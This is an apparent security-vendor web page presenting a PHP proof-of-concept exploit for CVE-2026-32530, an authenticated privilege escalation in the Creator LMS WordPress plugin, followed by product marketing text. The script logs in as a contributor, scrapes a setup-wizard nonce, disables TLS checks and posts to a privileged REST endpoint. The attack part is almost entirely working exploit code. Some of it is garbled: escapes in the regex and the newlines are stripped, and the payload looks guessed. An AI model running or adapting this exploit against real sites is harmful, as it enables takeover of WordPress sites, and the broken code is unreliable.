// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-32530 - Creator LMS – Online Courses and eLearning Plugin <= 1.1.18 - Authenticated (Contributor+) Privilege Escalation

<?php
/**
 * Proof of Concept for CVE-2026-32530
 * Creator LMS Plugin Privilege Escalation via Setup Wizard REST API
 * 
 * This script demonstrates how an authenticated Contributor+ user can
 * escalate privileges to administrator by calling privileged REST endpoints.
 * 
 * Requirements:
 * - WordPress site with Creator LMS plugin <= 1.1.18 installed
 * - Valid Contributor-level or higher user credentials
 * - The plugin's setup wizard nonce (available in page source)
 */

$target_url = 'https://vulnerable-site.com';
$username = 'contributor_user';
$password = 'contributor_password';

// Step 1: Authenticate to WordPress and get session cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);

// Step 2: Extract the setup wizard nonce from admin page
// The nonce is available in the page source when the plugin is active
$admin_url = $target_url . '/wp-admin/admin.php?page=creatorlms';
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_POST, 0);
$admin_page = curl_exec($ch);

// Parse nonce from JavaScript variable (simplified extraction)
$nonce = '';
if (preg_match('/"setup_wizard_nonce"s*:s*"([a-f0-9]+)"/', $admin_page, $matches)) {
    $nonce = $matches[1];
}

if (empty($nonce)) {
    echo "Failed to extract nonce. The plugin may not be active or user lacks sufficient permissions.n";
    exit;
}

// Step 3: Exploit the vulnerable REST endpoint to trigger privilege escalation
// The onboarding_started endpoint executes administrative setup functions
$exploit_url = $target_url . '/wp-json/creatorlms/v1/setup-wizard/onboarding-started';

$headers = array(
    'Content-Type: application/json',
    'X-WP-Nonce: ' . $nonce,
    'nonce: ' . $nonce
);

$payload = json_encode(array(
    'action' => 'onboarding_started',
    'data' => array('step' => 'privilege_escalation')
));

curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Step 4: Verify exploitation success
if ($http_code == 200) {
    echo "SUCCESS: Privilege escalation attempted via setup wizard endpoint.n";
    echo "Response: " . $response . "n";
    echo "nThe attacker can now call other administrative endpoints:n";
    echo "- /wp-json/creatorlms/v1/setup-wizard/onboarding-completedn";
    echo "- /wp-json/creatorlms/v1/setup-wizard/import-coursen";
    echo "- /wp-json/creatorlms/v1/setup-wizard/update-datan";
    echo "nThese endpoints allow modification of plugin settings, user roles, and course data.n";
} else {
    echo "FAILED: HTTP Code " . $http_code . "n";
    echo "Response: " . $response . "n";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School